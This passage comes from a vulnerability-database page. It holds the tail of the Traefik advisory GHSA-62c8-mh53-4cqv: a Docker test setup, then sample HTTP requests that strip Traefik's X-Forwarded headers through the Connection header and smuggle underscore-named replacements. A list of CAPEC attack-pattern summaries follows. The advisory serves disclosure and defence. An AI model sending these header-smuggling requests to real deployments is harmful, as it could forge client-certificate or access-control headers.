/var/run/docker.sock:/var/run/docker.sock:ro\n      - ./traefik.yaml:/etc/traefik/traefik.yaml\n      - ./traefik-certs:/certs\n\n  python-http:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    container_name: python-http\n    labels:\n      - \"traefik.enable=true\"\n      - \"traefik.http.routers.python-http.rule=Host(`python.example.com`)\"\n      - \"traefik.http.routers.python-http.entrypoints=websecure\"\n      - \"traefik.http.routers.python-http.tls=true\"\n      - \"traefik.http.services.python-http.loadbalancer.server.port=8080\"\n```\n\nThe following traefik.yaml has been used:\n\n```\nproviders:\n  docker:\n    exposedByDefault: false\n    watch: true\n  file:\n    fileName: /etc/traefik/traefik.yaml\n    watch: true\n\nentryPoints:\n  websecure:\n    address: \":443\"\n\ntls:\n  certificates:\n    - certFile: /certs/server-cert.pem\n      keyFile: /certs/server-key.pem\n```\n\nThe Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:\n\n```\nFROM python:3-alpine\n\n# Copy the Python script to the container\nCOPY server.py /server.py\n\n# Set the working directory\nWORKDIR /\n\n# Command to run the Python server\nCMD [\"python\", \"/server.py\"]\n```\n\nAnd here is the Python script:\n\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RequestHandler(BaseHTTPRequestHandler):\n    def _send_response(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(str(self.headers).encode(\"utf-8\"))\n\n    def do_GET(self):\n        self._send_response()\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\u00270.0.0.0\u0027, 8080), RequestHandler)\n    print(\"Server started on port 8080\")\n    server.serve_forever()\n````\n\nThe environment is run with `sudo docker-compose up`.\n\nA normal HTTP request/response pair looks like this:\n\n**Request 1**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\n````\n\n**Response 1**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:53:49 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 556\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Host: python.example.com\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nThe custom headers added by Traefik can be seen in the response.\n\nNext, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:\n\n**Request 2**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close, X-Forwarded-Host\n````\n\n**Response 2**\n\n````\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nAs can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.\n\nMoreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:\n\n**Request 3**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX_Forwarded_Host: myhost\nConnection: close, X-Forwarded-Host\n````\n\n**Response 3**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:54:48 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 544\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\nX_forwarded_host: myhost\n````\n\nSome backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. \n\nIt should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.\n\nIt should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.\n\n### Impact\n\nAll applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.\n\nIf the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and \"-\" to \"_\"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.\n\nMoreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).\n\nThe severity is the same as for [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.\n\u003c/details\u003e",
  "id": "GHSA-62c8-mh53-4cqv",
  "modified": "2024-09-25T19:29:53Z",
  "published": "2024-09-19T14:48:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/584144100524277829f26219baaab29a53b8134f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HTTP client can manipulate custom HTTP headers that are added by Traefik"
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.